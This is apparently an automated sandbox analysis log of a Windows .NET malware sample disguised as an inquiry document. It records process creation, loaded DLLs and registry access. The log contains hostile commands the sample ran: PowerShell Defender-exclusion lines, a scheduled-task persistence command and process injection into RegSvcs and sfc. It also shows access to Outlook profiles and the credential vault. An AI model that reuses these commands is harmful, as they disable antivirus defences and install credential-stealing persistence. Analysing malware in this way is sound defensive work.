Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Inquiry PR#27957.bat.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: sfc.exe, 00000011.00000002.3786127793.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1956912870.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3786127793.0000000000C24000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000003.1956746019.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 00000011.00000002.3786127793.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Inquiry PR#27957.bat.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

File read: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe:Zone.Identifier

Source: unknown	Process created: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fuqwoDzun.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp2C94.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fuqwoDzun.exe C:\Users\user\AppData\Roaming\fuqwoDzun.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp40A9.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"
Source: C:\Windows\SysWOW64\sfc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Inquiry PR#27957.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fuqwoDzun.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp2C94.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fuqwoDzun" /XML "C:\Users\user\AppData\Local\Temp\tmp40A9.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Process created: C:\Windows\SysWOW64\sfc.exe "C:\Windows\SysWOW64\sfc.exe"

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fuqwoDzun.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: ieframe.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: mlang.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: winsqlite3.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\sfc.exe	Section loaded: umpdc.dll
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe	Section loaded: rasadhlp.dll

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Inquiry PR#27957.bat.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains potential unpacker

Source: C:\Windows\SysWOW64\sfc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: Inquiry PR#27957.bat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Inquiry PR#27957.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

